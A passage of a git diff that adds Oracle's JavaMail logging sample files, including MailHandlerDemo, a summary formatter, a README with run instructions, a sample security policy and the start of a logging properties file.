File.createTempFile(prefixName(), suffixName(), emailStore); + try { + out = new FileOutputStream(tmp); + break; + } catch (FileNotFoundException FNFE) { + if (!tmp.exists()) { //retry if file is locked + throw FNFE; + } + } + } + + try (PrintStream ps = new PrintStream(wrap(out), false, "UTF-8")) { + ps.print(email); + ps.flush(); + tmp = null; //Don't delete 'tmp' if all bytes were written. + } finally { + close(out); + delete(tmp); //Only deletes if not null. + } + } + + /** + * Null safe close method. + * + * @param out closes the given stream. + */ + private void close(OutputStream out) { + if (out != null) { + try { + out.close(); + } catch (IOException IOE) { + super.error(out.toString(), IOE, ErrorManager.CLOSE_FAILURE); + } + } + } + + /** + * Null safe delete method. + * + * @param tmp the file to delete. + */ + private void delete(File tmp) { + if (tmp != null) { + try { + if (!tmp.delete() && tmp.exists()) { + try { + try { + tmp.deleteOnExit(); + } catch (final LinkageError shutdown) { + throw new RuntimeException(shutdown); + } + } catch (final RuntimeException shutdown) { + if (!tmp.delete()) { + super.error(tmp.getAbsolutePath(), shutdown, + ErrorManager.CLOSE_FAILURE); + } + } + } + } catch (SecurityException SE) { + super.error(tmp.toString(), SE, ErrorManager.CLOSE_FAILURE); + } + } + } + + /** + * Gets the location of the email store. + * + * @return the File location. + */ + private File getEmailStore() { + String dir = manager.getProperty( + getClass().getName().concat(".pattern")); + if (dir == null) { + dir = AccessController.doPrivileged(new PrivilegedAction() { + + @Override + public String run() { + return System.getProperty("java.io.tmpdir", "."); + } + }); + } + return new File(dir); + } + + /** + * Wraps the given stream as a NewLineOutputStream. + * + * @param out the stream to wrap. + * @return the original or wrapped output stream. + */ + @SuppressWarnings("UseSpecificCatch") + private OutputStream wrap(OutputStream out) { + assert out != null; + Class k; + try { + k = Class.forName("NewlineOutputStream"); + if (OutputStream.class.isAssignableFrom(k)) { + Constructor c = k.getConstructor(OutputStream.class); + return (OutputStream) c.newInstance(out); + } else { + super.error("Unable to switch newlines", + new ClassNotFoundException(k.getName()), + ErrorManager.GENERIC_FAILURE); + } + } catch (RuntimeException re) { + super.error("Unable to switch newlines", + re, ErrorManager.GENERIC_FAILURE); + } catch (Exception ex) { + super.error("Unable to switch newlines", + ex, ErrorManager.GENERIC_FAILURE); + } catch (LinkageError le) { + super.error("Unable to switch newlines", + new ClassNotFoundException("", le), + ErrorManager.GENERIC_FAILURE); + } + return out; + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/logging/MailHandlerDemo.java b/src/Java/Jars/javamail-samples/javamail-samples/logging/MailHandlerDemo.java new file mode 100644 index 0000000..929c804 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/logging/MailHandlerDemo.java @@ -0,0 +1,668 @@ +/* + * Copyright (c) 2009-2016 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2009-2016 Jason Mehrens. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import com.sun.mail.util.logging.CollectorFormatter; +import com.sun.mail.util.logging.DurationFilter; +import com.sun.mail.util.logging.MailHandler; +import com.sun.mail.util.logging.SeverityComparator; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.IOException; +import java.io.PrintStream; +import java.lang.management.ManagementFactory; +import java.util.*; +import java.util.logging.*; +import javax.activation.DataHandler; +import javax.mail.MessagingException; +import javax.mail.Session; +import javax.mail.internet.InternetAddress; + +/** + * Demo for the different configurations for the MailHandler. If the logging + * properties file or class is not specified then this demo will apply some + * default settings to store emails in the user's temp directory. + * + * @author Jason Mehrens + */ +public class MailHandlerDemo { + + /** + * This class name. + */ + private static final String CLASS_NAME = MailHandlerDemo.class.getName(); + /** + * The logger for this class name. + */ + private static final Logger LOGGER = Logger.getLogger(CLASS_NAME); + + /** + * Runs the demo. + * + * @param args the command line arguments + * @throws IOException if there is a problem. + */ + public static void main(String[] args) throws IOException { + List l = Arrays.asList(args); + if (l.contains("/?") || l.contains("-?") || l.contains("-help")) { + LOGGER.info("Usage: java MailHandlerDemo " + + "[[-all] | [-body] | [-custom] | [-debug] | [-low] " + + "| [-simple] | [-pushlevel] | [-pushfilter] " + + "| [-pushnormal] | [-pushonly]] " + + "\n\n" + + "-all\t\t: Execute all demos.\n" + + "-body\t\t: An email with all records and only a body.\n" + + "-custom\t\t: An email with attachments and dynamic names.\n" + + "-debug\t\t: Output basic debug information about the JVM " + + "and log configuration.\n" + + "-low\t\t: Generates multiple emails due to low capacity." + + "\n" + + "-simple\t\t: An email with all records with body and " + + "an attachment.\n" + + "-pushlevel\t: Generates high priority emails when the" + + " push level is triggered and normal priority when " + + "flushed.\n" + + "-pushFilter\t: Generates high priority emails when the " + + "push level and the push filter is triggered and normal " + + "priority emails when flushed.\n" + + "-pushnormal\t: Generates multiple emails when the " + + "MemoryHandler push level is triggered. All generated " + + "email are sent as normal priority.\n" + + "-pushonly\t: Generates multiple emails when the " + + "MemoryHandler push level is triggered. Generates high " + + "priority emails when the push level is triggered and " + + "normal priority when flushed.\n"); + } else { + final boolean debug = init(l); //may create log messages. + try { + LOGGER.log(Level.FINEST, "This is the finest part of the demo.", + new MessagingException("Fake JavaMail issue.")); + LOGGER.log(Level.FINER, "This is the finer part of the demo.", + new NullPointerException("Fake bug.")); + LOGGER.log(Level.FINE, "This is the fine part of the demo."); + LOGGER.log(Level.CONFIG, "Logging config file is {0}.", + getConfigLocation()); + LOGGER.log(Level.INFO, "Your temp directory is {0}, " + + "please wait...", getTempDir()); + + try { //Waste some time for the custom formatter. + Thread.sleep(3L * 1000L); + } catch (InterruptedException ex) { + Thread.currentThread().interrupt(); + } + + LOGGER.log(Level.WARNING, "This is a warning.", + new FileNotFoundException("Fake file chooser issue.")); + LOGGER.log(Level.SEVERE, "The end of the demo.", + new IOException("Fake access denied issue.")); + } finally { + closeHandlers(); + } + + //Force parse errors. This does have side effects. + if (debug && getConfigLocation() != null) { + LogManager.getLogManager().readConfiguration(); + } + } + } + + /** + * Used debug problems with the logging.properties. The system property + * java.security.debug=access,stack can be used to trace access to the + * LogManager reset. + * + * @param prefix a string to prefix the output. + * @param err any PrintStream or null for System.out. + */ + @SuppressWarnings("UseOfSystemOutOrSystemErr") + private static void checkConfig(String prefix, PrintStream err) { + if (prefix == null || prefix.trim().length() == 0) { + prefix = "DEBUG"; + } + + if (err == null) { + err = System.out; + } + + try { + err.println(prefix + ": java.version=" + + System.getProperty("java.version")); + err.println(prefix + ": LOGGER=" + LOGGER.getLevel()); + err.println(prefix + ": JVM id " + + ManagementFactory.getRuntimeMXBean().getName()); + err.println(prefix + ": java.security.debug=" + + System.getProperty("java.security.debug")); + SecurityManager sm = System.getSecurityManager(); + if (sm != null) { + err.println(prefix + ": SecurityManager.class=" + + sm.getClass().getName()); + err.println(prefix + ": SecurityManager classLoader=" + + toString(sm.getClass().getClassLoader())); + err.println(prefix + ": SecurityManager.toString=" + sm); + } else { + err.println(prefix + ": SecurityManager.class=null"); + err.println(prefix + ": SecurityManager.toString=null"); + err.println(prefix + ": SecurityManager classLoader=null"); + } + + String policy = System.getProperty("java.security.policy"); + if (policy != null) { + File f = new File(policy); + err.println(prefix + ": AbsolutePath=" + f.getAbsolutePath()); + err.println(prefix + ": CanonicalPath=" + f.getCanonicalPath()); + err.println(prefix + ": length=" + f.length()); + err.println(prefix + ": canRead=" + f.canRead()); + err.println(prefix + ": lastModified=" + + new java.util.Date(f.lastModified())); + } + + LogManager manager = LogManager.getLogManager(); + String key = "java.util.logging.config.file"; + String cfg = System.getProperty(key); + if (cfg != null) { + err.println(prefix + ": " + cfg); + File f = new File(cfg); + err.println(prefix + ": AbsolutePath=" + f.getAbsolutePath()); + err.println(prefix + ": CanonicalPath=" + f.getCanonicalPath()); + err.println(prefix + ": length=" + f.length()); + err.println(prefix + ": canRead=" + f.canRead()); + err.println(prefix + ": lastModified=" + + new java.util.Date(f.lastModified())); + } else { + err.println(prefix + ": " + key + + " is not set as a system property."); + } + err.println(prefix + ": LogManager.class=" + + manager.getClass().getName()); + err.println(prefix + ": LogManager classLoader=" + + toString(manager.getClass().getClassLoader())); + err.println(prefix + ": LogManager.toString=" + manager); + err.println(prefix + ": MailHandler classLoader=" + + toString(MailHandler.class.getClassLoader())); + err.println(prefix + ": Context ClassLoader=" + + toString(Thread.currentThread().getContextClassLoader())); + err.println(prefix + ": Session ClassLoader=" + + toString(Session.class.getClassLoader())); + err.println(prefix + ": DataHandler ClassLoader=" + + toString(DataHandler.class.getClassLoader())); + + final String p = MailHandler.class.getName(); + key = p.concat(".mail.to"); + String to = manager.getProperty(key); + err.println(prefix + ": TO=" + to); + if (to != null) { + err.println(prefix + ": TO=" + + Arrays.toString(InternetAddress.parse(to, true))); + } + + key = p.concat(".mail.from"); + String from = manager.getProperty(key); + if (from == null || from.length() == 0) { + Session session = Session.getInstance(new Properties()); + InternetAddress local = InternetAddress.getLocalAddress(session); + err.println(prefix + ": FROM=" + local); + } else { + err.println(prefix + ": FROM=" + + Arrays.asList(InternetAddress.parse(from, false))); + err.println(prefix + ": FROM=" + + Arrays.asList(InternetAddress.parse(from, true))); + } + + synchronized (manager) { + final Enumeration e = manager.getLoggerNames(); + while (e.hasMoreElements()) { + final Logger l = manager.getLogger(e.nextElement()); + if (l != null) { + final Handler[] handlers = l.getHandlers(); + if (handlers.length > 0) { + err.println(prefix + ": " + l.getClass().getName() + + ", " + l.getName()); + for (Handler h : handlers) { + err.println(prefix + ":\t" + toString(prefix, err, h)); + } + } + } + } + } + } catch (Throwable error) { + err.print(prefix + ": "); + error.printStackTrace(err); + } + err.flush(); + } + + /** + * Gets the class loader list. + * + * @param cl the class loader or null. + * @return the class loader list. + */ + private static String toString(ClassLoader cl) { + StringBuilder buf = new StringBuilder(); + buf.append(cl); + while (cl != null) { + cl = cl.getParent(); + buf.append("<-").append(cl); + } + return buf.toString(); + } + + /** + * Gets a formatting string describing the given handler. + * + * @param prefix the output prefix. + * @param err the error stream. + * @param h the handler. + * @return the formatted string. + */ + private static String toString(String prefix, PrintStream err, Handler h) { + StringBuilder buf = new StringBuilder(); + buf.append(h.getClass().getName()); + try { + if (h instanceof MailHandler) { + MailHandler mh = (MailHandler) h; + buf.append(", ").append(mh.getSubject()); + } + } catch (SecurityException error) { + err.print(prefix + ": "); + error.printStackTrace(err); + } + + try { + buf.append(", ").append(h.getFormatter()); + } catch (SecurityException error) { + err.print(prefix + ": "); + error.printStackTrace(err); + } + + try { + if (h instanceof MailHandler) { + MailHandler mh = (MailHandler) h; + buf.append(", ").append(Arrays.toString( + mh.getAttachmentFormatters())); + } + } catch (SecurityException error) { + err.print(prefix + ": "); + error.printStackTrace(err); + } + + try { + buf.append(", ").append(h.getLevel()); + } catch (SecurityException error) { + err.print(prefix + ": "); + error.printStackTrace(err); + } + + try { + buf.append(", ").append(h.getFilter()); + } catch (SecurityException error) { + err.print(prefix + ": "); + error.printStackTrace(err); + } + + try { + buf.append(", ").append(h.getErrorManager()); + } catch (SecurityException error) { + err.print(prefix + ": "); + error.printStackTrace(err); + } + + buf.append(", ").append(toString(h.getClass().getClassLoader())); + return buf.toString(); + } + + /** + * Example for body only messages. On close the remaining messages are sent. + * ##logging.properties + * MailHandlerDemo.handlers=com.sun.mail.util.logging.MailHandler + * com.sun.mail.util.logging.MailHandler.subject=Body only demo + * ## + * + */ + private static void initBodyOnly() { + MailHandler h = new MailHandler(); + h.setSubject("Body only demo"); + LOGGER.addHandler(h); + } + + /** + * Example showing that when the mail handler reaches capacity it will + * format and send the current records. Capacity is used to roughly limit + * the size of an outgoing message. On close any remaining messages are + * sent. + * ##logging.properties + * MailHandlerDemo.handlers=com.sun.mail.util.logging.MailHandler + * com.sun.mail.util.logging.MailHandler.subject=Low capacity demo + * com.sun.mail.util.logging.MailHandler.capacity=5 + * ## + * + */ + private static void initLowCapacity() { + MailHandler h = new MailHandler(5); + h.setSubject("Low capacity demo"); + LOGGER.addHandler(h); + } + + /** + * Example for body only messages. On close any remaining messages are sent. + * ##logging.properties + * MailHandlerDemo.handlers=com.sun.mail.util.logging.MailHandler + * com.sun.mail.util.logging.MailHandler.subject=Body and attachment demo + * com.sun.mail.util.logging.MailHandler.attachment.formatters=java.util.logging.XMLFormatter + * com.sun.mail.util.logging.MailHandler.attachment.names=data.xml + * ## + * + */ + private static void initSimpleAttachment() { + MailHandler h = new MailHandler(); + h.setSubject("Body and attachment demo"); + h.setAttachmentFormatters(new XMLFormatter()); + h.setAttachmentNames("data.xml"); + LOGGER.addHandler(h); + } + + /** + * Example setup for priority messages by level. If the push level is + * triggered the message is high priority. Otherwise, on close any remaining + * messages are sent. + * ##logging.properties + * MailHandlerDemo.handlers=com.sun.mail.util.logging.MailHandler + * com.sun.mail.util.logging.MailHandler.subject=Push level demo + * com.sun.mail.util.logging.MailHandler.pushLevel=WARNING + * ## + * + */ + private static void initWithPushLevel() { + MailHandler h = new MailHandler(); + h.setSubject("Push level demo"); + h.setPushLevel(Level.WARNING); + LOGGER.addHandler(h); + } + + /** + * Example for priority messages by generation rate. If the push filter is + * triggered the message is high priority. Otherwise, on close any remaining + * messages are sent. If the capacity is set to the + * ##logging.properties + * MailHandlerDemo.handlers=com.sun.mail.util.logging.MailHandler + * com.sun.mail.util.logging.MailHandler.subject=Push filter demo + * com.sun.mail.util.logging.MailHandler.pushLevel=ALL + * com.sun.mail.util.logging.MailHandler.pushFilter=com.sun.mail.util.logging.DurationFilter + * com.sun.mail.util.logging.DurationFilter.records=2 + * com.sun.mail.util.logging.DurationFilter.duration=1 * 60 * 1000 + * ## + * + */ + private static void initWithPushFilter() { + MailHandler h = new MailHandler(); + h.setSubject("Push filter demo"); + h.setPushLevel(Level.ALL); + h.setPushFilter(new DurationFilter(2, 1L * 60L * 1000L)); + LOGGER.addHandler(h); + } + + /** + * Example for circular buffer behavior. The level, push level, and capacity + * are set the same so that the memory handler push results in a mail + * handler push. All messages are high priority. On close any remaining + * records are discarded because they never reach the mail handler. + * ##logging.properties + * MailHandlerDemo.handlers=java.util.logging.MemoryHandler + * java.util.logging.MemoryHandler.target=com.sun.mail.util.logging.MailHandler + * com.sun.mail.util.logging.MailHandler.level=ALL + * java.util.logging.MemoryHandler.level=ALL + * java.util.logging.MemoryHandler.push=WARNING + * com.sun.mail.util.logging.MailHandler.subject=Push only demo + * com.sun.mail.util.logging.MailHandler.pushLevel=WARNING + * ## + * + */ + private static void initPushOnly() { + final int capacity = 3; + final Level pushLevel = Level.WARNING; + final MailHandler h = new MailHandler(capacity); + h.setPushLevel(pushLevel); + h.setSubject("Push only demo"); + MemoryHandler m = new MemoryHandler(h, capacity, pushLevel); + h.setLevel(m.getLevel()); + LOGGER.addHandler(m); + pushOnlyHandler = h; + } + + /** + * Holds on to the push only handler. Only declared here to apply fallback + * settings. + */ + private static Handler pushOnlyHandler; + + /** + * Example for circular buffer behavior as normal priority. The push level, + * and capacity are set the same so that the memory handler push results in + * a mail handler push. All messages are normal priority. On close any + * remaining records are discarded because they never reach the mail + * handler. Use the LogManager config option or extend the MemoryHandler to + * emulate this behavior via the logging.properties. + */ + private static void initPushNormal() { + final int capacity = 3; + final MailHandler h = new MailHandler(capacity); + h.setSubject("Push normal demo"); + MemoryHandler m = new MemoryHandler(h, capacity, Level.WARNING) { + + @Override + public void push() { + super.push(); //push to target. + super.flush(); //make the target send the email. + } + }; + LOGGER.addHandler(m); + pushNormalHandler = h; + } + + /** + * Holds on to the push normal handler. Only declared here to apply fallback + * settings. + */ + private static Handler pushNormalHandler; + + /** + * Example for various kinds of custom sorting, formatting, and filtering + * for multiple attachment messages. The subject will contain the most + * severe record and a count of remaining records. The log records are + * ordered from most severe to least severe. The body uses a custom + * formatter that includes a summary by date and time. The attachment use + * XML and plain text formats. Each attachment has a different set of + * filtering. The attachment names are generated from either a fixed name or + * are built using the number and type of the records formatted. On close + * any remaining messages are sent. Use the LogManager config option or + * extend the MemoryHandler to emulate this behavior via the + * logging.properties. + */ + private static void initCustomAttachments() { + MailHandler h = new MailHandler(); + + //Sort records by severity keeping the severe messages at the top. + h.setComparator(Collections.reverseOrder(new SeverityComparator())); + + //Use subject to provide a hint as to what is in the email. + h.setSubject(new CollectorFormatter()); + + //Make the body give a simple summary of what happened. + h.setFormatter(new SummaryFormatter()); + + //Create 3 attachments. + h.setAttachmentFormatters(new XMLFormatter(), + new XMLFormatter(), new SimpleFormatter()); + + //Filter each attachment differently. + h.setAttachmentFilters(null, + new DurationFilter(3L, 1000L), + new DurationFilter(1L, 15L * 60L * 1000L)); + + //Creating the attachment name formatters. + h.setAttachmentNames(new CollectorFormatter("all.xml"), + new CollectorFormatter("{3} records and {5} errors.xml"), + new CollectorFormatter("{5,choice,0#no errors|1#1 error|1<" + + "{5,number,integer} errors}.txt")); + + LOGGER.addHandler(h); + } + + /** + * Sets up the demos that will run. + * + * @param l the list of arguments. + * @return true if debug is on. + */ + private static boolean init(List l) { + l = new ArrayList(l); + Session session = Session.getInstance(System.getProperties()); + boolean all = l.remove("-all") || l.isEmpty(); + if (l.remove("-body") || all) { + initBodyOnly(); + } + + if (l.remove("-custom") || all) { + initCustomAttachments(); + } + + if (l.remove("-low") || all) { + initLowCapacity(); + } + + if (l.remove("-pushfilter") || all) { + initWithPushFilter(); + } + + if (l.remove("-pushlevel") || all) { + initWithPushLevel(); + } + + if (l.remove("-pushnormal") || all) { + initPushNormal(); + } + + if (l.remove("-pushonly") || all) { + initPushOnly(); + } + + if (l.remove("-simple") || all) { + initSimpleAttachment(); + } + + boolean fallback = applyFallbackSettings(); + boolean debug = l.remove("-debug") || session.getDebug(); + if (debug) { + checkConfig(CLASS_NAME, session.getDebugOut()); + } + + if (!l.isEmpty()) { + LOGGER.log(Level.SEVERE, "Unknown commands: {0}", l); + } + + if (fallback) { + LOGGER.info("Check your user temp dir for output."); + } + return debug; + } + + /** + * Close and remove all handlers added to the class logger. + */ + private static void closeHandlers() { + Handler[] handlers = LOGGER.getHandlers(); + for (Handler h : handlers) { + h.close(); + LOGGER.removeHandler(h); + } + } + + /** + * Apply some fallback settings if no configuration file was specified. + * + * @return true if fallback settings were applied. + */ + private static boolean applyFallbackSettings() { + if (getConfigLocation() == null) { + LOGGER.setLevel(Level.ALL); + Handler[] handlers = LOGGER.getHandlers(); + for (Handler h : handlers) { + fallbackSettings(h); + } + fallbackSettings(pushOnlyHandler); + fallbackSettings(pushNormalHandler); + return true; + } + return false; + } + + /** + * Common fallback settings for a single handler. + * + * @param h the handler. + */ + private static void fallbackSettings(Handler h) { + if (h != null) { + h.setErrorManager(new FileErrorManager()); + h.setLevel(Level.ALL); + } + } + + /** + * Gets the system temp directory. + * + * @return the system temp directory. + */ + private static String getTempDir() { + return System.getProperty("java.io.tmpdir"); + } + + /** + * Gets the configuration file or class name. + * + * @return the file name or class name. + */ + private static String getConfigLocation() { + String file = System.getProperty("java.util.logging.config.file"); + if (file == null) { + return System.getProperty("java.util.logging.config.class"); + } + return file; + } + + /** + * No objects are allowed. + * @throws IllegalAccessException always. + */ + private MailHandlerDemo() throws IllegalAccessException { + throw new IllegalAccessException(); + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/logging/README.txt b/src/Java/Jars/javamail-samples/javamail-samples/logging/README.txt new file mode 100644 index 0000000..c6b7add --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/logging/README.txt @@ -0,0 +1,103 @@ +Logging Demo +------------ + +Notes: +====== + +This should not be taken as a demo of how to use the logging API, but +rather how to use the features of the MailHandler. + +To run the demo: +================ + + 1. The demo requires Java version 1.5 or newer. + We *strongly* encourage you to use the latest version of J2SE, + which you can download from + http://www.oracle.com/technetwork/java/javase/downloads. + + 2. Set your CLASSPATH to include the "mail.jar" and "activation.jar". + + For JDK 1.1 on UNIX: + + export CLASSPATH=/u/me/download/mail.jar:/u/me/download/activation.jar. + + For JDK 1.2 and newer on UNIX: + + export CLASSPATH=/u/me/download/mail.jar:/u/me/download/activation.jar:. + + 3. Go to the demo/logging directory + + 4. Compile all the files using your Java compiler. For example: + + javac *.java + + 5. Not required but, you should edit the maildemo.properties and change the + mail.to address and mail.host to your mail server ip or host name. + + 6. Run the demo. For example: + + java -Dmail.debug=false -Djava.util.logging.config.file=/u/me/download/javamail/demo/maildemo.properties MailHandlerDemo + + + +Overview of the Classes +======================= + +Main Classes: + + MailHandlerDemo = The main method creates log messages + for the MailHander to capture. The + initXXX methods describe some of the + common setup code for different types + of email messages. + + Usage: java MailHandlerDemo [[-all] | [-body] | [-debug] + | [-low] | [-simple] | [-pushlevel] + | [-pushfilter] | [-pushnormal]| [-pushonly]] + + Options: + -all : Execute all demos. + -body : An email with all records and only a body. + -custom : An email with attachments and dynamic names. + -debug : Output basic debug information about the + JVM and log configuration. + -low : Generates multiple emails due to low + capacity. + -simple : An email with all records with body and an + attachment. + -pushlevel : Generates high priority emails when + the push level is triggered and + normal priority when flushed. + -pushFilter : Generates high priority emails when + the push level and the push filter + is triggered and normal priority + emails when flushed. + -pushnormal : Generates multiple emails when the + MemoryHandler push level is + triggered. All generated email are + sent as normal priority. + -pushonly : Generates multiple emails when the + MemoryHandler push level is + triggered. Generates high priority + emails when the push level is + triggered and normal priority when + flushed. + + + FileErrorManager = Used to store email messages to the + local file system when mail transport + fails. This is installed as a + fallback in case the logging config is + not specified. + + SummaryFormatter = An example compact formatter with summary + for use with the body of an email message. + +Support files: + + maildemo.properties = A sample LogManager properties file for + the MailHandlerDemo. + + maildemo.policy = A sample security policy file to use with + the MailHandlerDemo. This can be used to + enable security tracing. diff --git a/src/Java/Jars/javamail-samples/javamail-samples/logging/SummaryFormatter.java b/src/Java/Jars/javamail-samples/javamail-samples/logging/SummaryFormatter.java new file mode 100644 index 0000000..6630fa2 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/logging/SummaryFormatter.java @@ -0,0 +1,101 @@ +/* + * Copyright (c) 2009-2014 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2009-2014 Jason Mehrens. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import com.sun.mail.util.logging.CollectorFormatter; +import com.sun.mail.util.logging.CompactFormatter; +import java.util.logging.Formatter; +import java.util.logging.Handler; +import java.util.logging.LogRecord; + +/** + * A compact formatter used to summarize an error report. + * + * @author Jason Mehrens + */ +public final class SummaryFormatter extends Formatter { + + /** + * The line formatter. + */ + private final CompactFormatter format; + /** + * The footer formatter. + */ + private final CollectorFormatter footer; + + /** + * Creates the formatter. + */ + public SummaryFormatter() { + format = new CompactFormatter("[%4$s]\t%5$s %6$s%n"); + footer = new CollectorFormatter("\nThese {3} messages occurred between " + + "{7,time,EEE, MMM dd HH:mm:ss:S ZZZ yyyy} and " + + "{8,time,EEE, MMM dd HH:mm:ss:S ZZZ yyyy}\n", format, null); + } + + /** + * Gets the header information. + * + * @param h the handler or null. + * @return the header. + */ + @Override + public String getHead(Handler h) { + footer.getHead(h); + return format.getHead(h); + } + + /** + * Formats the given record. + * + * @param record the log record. + * @return the formatted record. + * @throws NullPointerException if record is null. + */ + public String format(LogRecord record) { + String data = format.format(record); + footer.format(record); //Track record times for footer. + return data; + } + + /** + * Gets and resets the footer information. + * + * @param h the handler or null. + * @return the footer. + */ + @Override + public String getTail(Handler h) { + format.getTail(h); + return footer.getTail(h); + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/logging/maildemo.policy b/src/Java/Jars/javamail-samples/javamail-samples/logging/maildemo.policy new file mode 100644 index 0000000..e176359 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/logging/maildemo.policy @@ -0,0 +1,40 @@ +/* + * Copyright (c) 2014 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014 Jason Mehrens. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +grant { + permission java.util.logging.LoggingPermission "control"; + permission java.util.PropertyPermission "*", "read, write"; + permission java.net.SocketPermission "*", "resolve, connect"; + permission java.lang.RuntimePermission "accessClassInPackage.sun.util.logging.resources"; + permission java.io.FilePermission "<>", "read, write"; + permission java.lang.RuntimePermission "getClassLoader"; +}; + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/logging/maildemo.properties b/src/Java/Jars/javamail-samples/javamail-samples/logging/maildemo.properties new file mode 100644 index 0000000..b221f2b --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/logging/maildemo.properties @@ -0,0 +1,72 @@ +# +# Copyright (c) 2009-2016 Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2009-2016 Jason Mehrens. All Rights Reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: +# +# - Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# +# - Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# +# - Neither the name of Oracle nor the names of its +# contributors may be used to endorse or promote products derived +# from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS +# IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, +# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +# EXEMPLARY, OR 